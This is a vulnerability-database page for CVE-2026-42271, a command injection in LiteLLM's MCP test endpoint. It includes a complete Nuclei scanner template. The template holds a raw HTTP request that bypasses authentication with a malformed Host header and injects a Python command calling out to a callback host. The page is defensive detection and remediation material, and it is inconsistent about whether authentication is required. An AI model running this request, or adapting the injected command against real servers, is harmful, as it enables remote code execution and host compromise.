SecurityContext

CVE-2026-42271: LiteLLM - Command Injection

  • Template: CVE-2026-42271
  • Name: LiteLLM - Command Injection
  • Description: A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.
  • Impact: Successful exploitation allows unauthenticated remote attackers to execute arbitrary commands on affected LiteLLM instances, potentially leading to full system compromise, lateral movement, data theft, and persistent access.
  • Remediation: Upgrade LiteLLM to version 1.83.7 or later to remediate this vulnerability. If immediate patching is not possible, restrict access to the `/mcp-rest/test/connection` endpoint and ensure authentication verification is robust.
  • Severity: critical
  • Authors: ritikchaddha
  • Tags: cve, cve2026, litellm, rce, command-injection, mcp, starlette, kev, vkev
  • References: https://horizon3.ai/attack-research/vulnerabilities/cve-2026-42271-chained-with-cve-2026-48710/, https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g, https://github.com/BerriAI/litellm/pull/25343, https://nvd.nist.gov/vuln/detail/CVE-2026-42271
  • Cves: CVE-2026-42271
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2026/CVE-2026-42271.yaml
  • Digest: 4a0a00473045022100cdc935408f57dab6fd3e1aefcdaba6efb72be87286c5d5ab974ef2bdc130720a022068a7c6cde2b8a73319c7ab86a2ca49527d2ddcb75b91d565b864b7234cc7d3f5
  • Created at: 2026-06-03T00:19:59Z
  • Updated at: 2026-11-21T02:03:58Z
  • Age in days: 174
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-42271.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-77
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.91445
  • Epss percentile: 0.99818
  • Not known: cpe

Metadata

  • Max-request: 1
  • Product: litellm
  • Vendor: berriai

Products

ProductIndexedUrl
berriai:litellmyes/v1/products/berriai/litellm

Labels

  • Name: LiteLLM - Command Injection
  • Impact: Authenticated users can execute arbitrary commands on the proxy host, leading to full system compromise.
  • Remediation: Upgrade to version 1.83.7 or later.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: logged_in
  • Requirements: Attacker needs a valid proxy API key
  • Labels source: projectdiscovery
  • From cve: CVE-2026-42271

```yaml

id: CVE-2026-42271

info:

name: LiteLLM - Command Injection

author: ritikchaddha

severity: critical

description: |

A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.

impact: |

Successful exploitation allows unauthenticated remote attackers to execute arbitrary commands on affected LiteLLM instances, potentially leading to full system compromise, lateral movement, data theft, and persistent access.

remediation: |

Upgrade LiteLLM to version 1.83.7 or later to remediate this vulnerability. If immediate patching is not possible, restrict access to the `/mcp-rest/test/connection` endpoint and ensure authentication verification is robust.

reference:

- https://horizon3.ai/attack-research/vulnerabilities/cve-2026-42271-chained-with-cve-2026-48710/

- https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g

- https://github.com/BerriAI/litellm/pull/25343

- https://nvd.nist.gov/vuln/detail/CVE-2026-42271

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2026-42271

epss-score: 0.91445

epss-percentile: 0.99818

cwe-id: CWE-77

metadata:

max-request: 1

vendor: berriai

product: litellm

tags: cve,cve2026,litellm,rce,command-injection,mcp,starlette,kev,vkev

variables:

payload: '{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen(''https://{{interactsh-url}}'')"]}'

http:

- raw:

- |

POST /mcp-rest/test/connection HTTP/1.1

Host: a/?x=

Content-Type: application/json

Content-Length: {{len(payload)}}

{{payload}}

unsafe: true

matchers-condition: and

matchers:

- type: word

part: body

words:

- "Failed to connect to MCP server"

- type: status

status:

- 200

- type: word

part: interactsh_protocol

words:

- "http"

extractors:

- type: kval

kval:

- interactsh_ip

digest: 4a0a00473045022100cdc935408f57dab6fd3e1aefcdaba6efb72be87286c5d5ab974ef2bdc130720a022068a7c6cde2b8a73319c7ab86a2ca49527d2ddcb75b91d565b864b7234cc7d3f5:922c64590222798bb761d5b6d8e72950

```